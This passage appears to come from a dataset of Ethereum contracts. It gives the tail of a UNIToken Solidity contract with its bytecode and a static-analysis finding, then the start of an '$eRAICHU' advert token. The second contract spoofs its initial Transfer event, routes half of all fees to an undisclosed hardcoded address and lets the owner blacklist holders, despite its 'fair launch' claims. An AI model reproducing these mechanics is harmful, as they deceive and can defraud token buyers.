require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract UNIToken is ERC20, Contactable,BurnableToken{
using SafeMath for uint;
string constant public name = "UNI Token";
string constant public symbol = "UNI";
uint constant public decimals = 4;
bool public isActivated = false;
//mapping (address => uint) balances;
mapping (address => mapping (address => uint)) internal allowed;
mapping (address => bool) public freezedList;
address public minter;
modifier whenActivated() {
require(isActivated);
_;
}
function UNIToken(uint256 _totalSupply) public {
minter = msg.sender;
totalSupply = _totalSupply;
// give money to us
balances[minter] = totalSupply;
// first event
Transfer(0x0, minter, totalSupply);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data Optional metadata.
*/
function transfer(address _to, uint _value, bytes _data) public whenActivated returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!freezedList[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
bytes memory empty;
return transferFrom(_from, _to, _value, empty);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
* @param _data Optional metadata.
*/
function transferFrom(address _from, address _to, uint _value, bytes _data) public whenActivated returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!freezedList[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* Owner can unfreeze any address
*/
function removeFromFreezedList(address user) external onlyOwner {
freezedList[user] = false;
}
/**
* Activation of the token allows all tokenholders to operate with the token
*/
function activate() external onlyOwner returns (bool) {
isActivated = true;
return true;
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461013857806307546172146101c8578063095ea7b31461021f5780630f15f4c01461028457806318160ddd146102b357806323b872dd146102de578063313ce5671461036357806336f7ab5e1461038e57806342966c681461041e5780634a8c1fb41461044b57806362183fe41461047a57806366188463146104d557806370a082311461053a5780637efe294c146105915780638da5cb5b146105d457806395d89b411461062b578063a9059cbb146106bb578063ab67aa5814610720578063b967a52e146107eb578063be45fd6214610854578063d73dd623146108ff578063dd62ed3e14610964578063f2fde38b146109db575b600080fd5b34801561014457600080fd5b5061014d610a1e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b506101dd610a57565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022b57600080fd5b5061026a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b34801561029057600080fd5b50610299610c04565b604051808215151515815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610c84565b6040518082815260200191505060405180910390f35b3480156102ea57600080fd5b50610349600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8a565b604051808215151515815260200191505060405180910390f35b34801561036f57600080fd5b50610378610ca4565b6040518082815260200191505060405180910390f35b34801561039a57600080fd5b506103a3610ca9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e35780820151818401526020810190506103c8565b50505050905090810190601f1680156104105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042a57600080fd5b5061044960048036038101908080359060200190929190505050610d47565b005b34801561045757600080fd5b50610460610ef8565b604051808215151515815260200191505060405180910390f35b34801561048657600080fd5b506104bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f0b565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b50610520600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2b565b604051808215151515815260200191505060405180910390f35b34801561054657600080fd5b5061057b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111bc565b6040518082815260200191505060405180910390f35b34801561059d57600080fd5b506105d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611205565b005b3480156105e057600080fd5b506105e96112bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063757600080fd5b506106406112e2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610680578082015181840152602081019050610665565b50505050905090810190601f1680156106ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106c757600080fd5b50610706600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131b565b604051808215151515815260200191505060405180910390f35b34801561072c57600080fd5b506107d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611333565b604051808215151515815260200191505060405180910390f35b3480156107f757600080fd5b50610852600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611768565b005b34801561086057600080fd5b506108e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506117de565b604051808215151515815260200191505060405180910390f35b34801561090b57600080fd5b5061094a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a78565b604051808215151515815260200191505060405180910390f35b34801561097057600080fd5b506109c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c74565b6040518082815260200191505060405180910390f35b3480156109e757600080fd5b50610a1c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cfb565b005b6040805190810160405280600981526020017f554e4920546f6b656e000000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080821480610b0957506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610b1457600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6257600080fd5b6001600460006101000a81548160ff0219169083151502179055506001905090565b60005481565b60006060610c9a85858584611333565b9150509392505050565b600481565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b505050505081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da557600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610df357600080fd5b339050610e4882600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea082600054611e5390919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600460009054906101000a900460ff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561103c576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d0565b61104f8382611e5390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126157600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f554e49000000000000000000000000000000000000000000000000000000000081525081565b6000606061132a8484836117de565b91505092915050565b6000600460009054906101000a900460ff16151561135057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561138c57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156113da57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561146557600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156114be57600080fd5b61151083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115a583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167783600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019050949350505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c457600080fd5b80600290805190602001906117da929190611e8a565b5050565b6000600460009054906101000a900460ff1615156117fb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561183757600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561188557600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118de57600080fd5b61193083600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000611b0982600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6c90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d5757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d9357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611e6157fe5b818303905092915050565b6000808284019050838110151515611e8057fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ecb57805160ff1916838001178555611ef9565b82800160010185558215611ef9579182015b82811115611ef8578251825591602001919060010190611edd565b5b509050611f069190611f0a565b5090565b611f2c91905b80821115611f28576000816000905550600101611f10565b5090565b905600a165627a7a72305820f1eaeb3c14c2dabe3420f239e346b760a9c2528b7e90552925844e55667057fc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,482 |
0x93c6e7b9b5e73486bb55ed693898591a2eb5569d
|
/**
*/
/*
ETHEREUM RAICHU - $eRAICHU
ADVERT! OFFICIAL CONTRACT WILL BE POSTED BEFORE LAUNCH! MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu
Extreme bot protection! No bots will be able to partake in the project.
100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering!
There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch!
There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work
The cooldown will be removed some time after launch
DON'T panic not a honeypot! you'll be able to sell after 30 seconds!
Join the telegram for more info
https://t.me/eRaichu
⚡️Tokenomics ⚡️
✔️ 1,000,000,000,000 Total Supply
✔️ 15% Burned before launch
✔️ Hardcoded buy limit of 0.25%
✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH
✔️ 5% Automated Rewards Farming (ARF)
✔️ 30 Seconds cooldown timer on unique addresses
✔️ Gradually increasing max TX (done manually by function)
💸BUYS 💸
✔️ 7% Redistribution to current holders
✔️ 5% Developer Fee (since we provide starting LP)
💰 SELLS 💰
✔️ 7% Redistribution to current holders
✔️ 8% Developer Fee (since we provide starting LP)
✔️ 100% of liquidity will be locked minutes after launch!
✔️ Ownership will be renounced
SOCIALS:
Website: https://raichucoin.com
Twitter: https://twitter.com/eRAICHUcoin
Telegram: https://t.me/eRaichu
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RaichuAD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"https://t.me/eRaichu - (raichucoin.com)";
string private constant _symbol = '$eRAICHU Ad';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0x69696902c8e3950Ca062527c61E23B8Aedb444cB).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
